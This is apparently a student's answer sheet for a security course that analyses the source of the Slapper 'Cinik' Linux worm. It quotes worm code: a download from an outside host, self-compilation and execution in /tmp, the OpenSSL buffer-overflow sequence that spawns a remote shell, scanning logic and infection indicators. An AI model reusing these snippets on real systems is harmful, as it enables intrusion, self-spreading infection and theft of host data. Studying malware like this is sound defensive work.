**Project 3 Answer Sheet**

**Rongzhong Li**

-----------------------------------------------------------------------------------------------------------------------------------------------------

1.1

"http://www.f-secure.com/v-descs/slapper.shtml":

2002-09-23:A new variant of Slapper known as "Cinik" was found.

2002-10-02 15:30 GMT:A modification of the Cinik variant (Slapper.C) known as Slapper.C2 has been found.

parent: Slapper.A

child: Slapper.C2

1.2

wc csc348\_cinik.c

returns 2785 lines of code.

Use:

ctags --c-types=f csc348\_cinik.c

cat tags | wc

It shows 88 lines. 88-6(instructions lines) = 82 functions.

1.3

Search for pid:

if (l == -1) {

if (errno == EINTR) {

for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {

unsigned int \*newpids,on;

for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];

pids[on-1]=0;

numpids--;

newpids=(unsigned int\*)malloc((numpids+1)\*sizeof(unsigned int));

if (newpids != NULL) {

for (on=0;on<numpids;on++) newpids[on]=pids[on];

FREE(pids);

pids=newpids;

}

}

}

Increase the chance of successful attack.

1.4

https://code.google.com/p/cflow2dot/

cflow2dot.pl csc348\_cinik.c

and get the graph. See attached sheet.

-----------------------------------------------------------------------------------------------------------------------------------------------------

2.1

search for "sprintf" in the worm script.

sprintf(rcv,"/usr/bin/uudecode -o /tmp/.cinik.c /tmp/.cinik.uu;gcc -o /tmp/.cinik /tmp/.cinik.c -lcrypto;/tmp/.cinik %s\n",localip);

So the files are stored in /tmp/. The copy is an encrypted version as .cinik.uu.

search for "get":

if ((in=fopen("/tmp/.cinik.c","r")) == NULL)

{

// incercam o recuperare

chdir("/tmp");

/\*

following commented-out for safety

\*/

/\*

system("/usr/bin/wget http://zamfy.home.ro/0/cinik.c");

system("mv /tmp/cinik.c /tmp/.cinik.c");

\*/

if ((in=fopen("/tmp/.cinik.c","r")) == NULL) return 0;

}

So it can get a copy from http://zamfy.home.ro/0/cinik.c.

2.2

man dup2:

dup2() makes newfd be the copy of oldfd, closing newfd first if necessary. But note the following:

\* If oldfd is not a valid file descriptor, then the call fails, and newfd is not closed.

\* If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2() does nothing, and returns newfd.

After a successful return from one of these system calls, the old and new file descriptors may be used interchangeably. They refer to the same open file description (see open(2)) and thus share file offset and file status flags; for example, if the file offset is modified by using lseek(2) on one of the descriptors, the offset is also changed for the other.

The two descriptors do not share file descriptor flags (the close-on-exec flag). The close-on-exec flag (FD\_CLOEXEC; see fcntl(2)) for the duplicate descriptor is off.

2.3

search for "exe".

if (argc <= 1) {

/\*

must start program with loop-back address

\*/

printf("%s: Exec format error. Binary file not executable.\n",argv[0]);

return 0;

}

The executable needs a right argument value to run.

-----------------------------------------------------------------------------------------------------------------------------------------------------

3.1

search for "scan"

#ifdef SCAN unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };

#endif

This is the hit list.

#ifdef SCAN

/\*

QUESTION: This is the start of the scanning process

\*/

a=classes[rand()%(sizeof classes)];

b=rand();

c=THIRD\_BYTE;

d=FOURTH\_BYTE;

#endif

This will make a random selection from the hit list.

3.2

#ifdef SCAN

/\*

COMMENT: Scanning again...

\*/

// if (myip)

for (n=CLIENTS,p=0;n<(CLIENTS\*2) && p<100;n++) if (clients[n].sock == 0) {

char srv[256];

if (d == 255) {

if (c == 255) {

a=classes[rand()%(sizeof classes)];

b=rand();

c=0;

}

else c++;

d=0;

}

else d++;

....

#endif

The scanning happens in function main(), performed in every for loop.

3.3

"http://www.f-secure.com/v-descs/slapper.shtml":

The worm works on Intel-based machines running Linux distributions from Red Hat, SuSE, Mandrake, Slackware or Debian. Apache and OpenSSL must be enabled and OpenSSL version must be 0.96d or older.

This can also be found in line 1311~1333.

-----------------------------------------------------------------------------------------------------------------------------------------------------

4.1

The worm starts to scan a predefined set of Class A networks for vulnerable machines by connecting to the httpd server (port 80). If the worm can connect, it will check the content of the "Server:" header from the response. If the header contains the string "Apache", the worm will attempt to connect to the SSL server (port 443), and attempt to infect the target by using the OpenSSL vulnerability. The worm also contains a backdoor that listens to UDP port 1978, and can be controlled remotely. The backdoor contains the ability to upload and execute arbitrary programs in the infected host. It also contains the functionality to perform various denial of service attacks. This backdoor is very similar to the one within the Scalper worm.

4.2

No netcat stuff since searching returns no results.

Search for "exploit" and "sh":

port = get\_local\_port(ssl2->sock);

overwrite\_next\_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);

overwrite\_next\_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);

\*(int\*)&overwrite\_next\_chunk[156] = cipher;

\*(int\*)&overwrite\_next\_chunk[192] = architectures[arch].func\_addr - 12;

\*(int\*)&overwrite\_next\_chunk[196] = ciphers + 16;

send\_client\_hello(ssl2);

get\_server\_hello(ssl2);

send\_client\_master\_key(ssl2, overwrite\_next\_chunk, sizeof(overwrite\_next\_chunk)-1);

generate\_session\_keys(ssl2);

get\_server\_verify(ssl2);

for (i = 0; i < ssl2->conn\_id\_length; i++) ssl2->conn\_id[i] = (unsigned char) (rand() >> 24);

send\_client\_finished(ssl2);

get\_server\_error(ssl2);

/\*

COMMENT: following sh() acually issues the commands on the compromised system

\*/

sh(ssl2->sock);

It uses buffer overflow to run the shell code.

-----------------------------------------------------------------------------------------------------------------------------------------------------

5.1

It will first write the shell codes to .cinik.go, then run it:

line 1540: writem(sockfd,"chmod a+x /tmp/.cinik.go;/tmp/.cinik.go;exit");

5.2

It contains the environment variables(time, cpu info, etc.) and command lines. It can run itself.

5.3

It contains the environment variables like:

PROC, /proc/cpuinfo, MEM, /usr/bin/free, HDD, /bin/df -h, IP, /sbin/ifconfig.

It will be emailed to "cinik\_worm@yahoo.com" and then deleted.

5.4

It's done in:

"writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");"

by setting the script as initial startup.

-----------------------------------------------------------------------------------------------------------------------------------------------------

6.1

The worm contains code to create a peer-to-peer attack network, where infected machines can remotely be instructed to launch a wide variety of Distributed Denial of Service (DDoS) attacks.

6.2

rc is the object of class info\_rec. It contains the info for address, header, version, etc. It's used in function main, broadcast and senderror.

6.3

"encrypted\_key\_length = RSA\_public\_encrypt(RC4\_KEY\_LENGTH, ssl->master\_key, &buf[10], pkey->pkey.rsa, RSA\_PKCS1\_PADDING);"

RSA

6.4

/tmp/.cinik.uu, /tmp/.cinik, /tmp/.cinik.c

6.5

The existence of /tmp/.cinik.go, /tmp/.cinik.status, and strange thread in ps.

6.6

If the network light is flashing crazily or if someone is complaining about the slow network speed.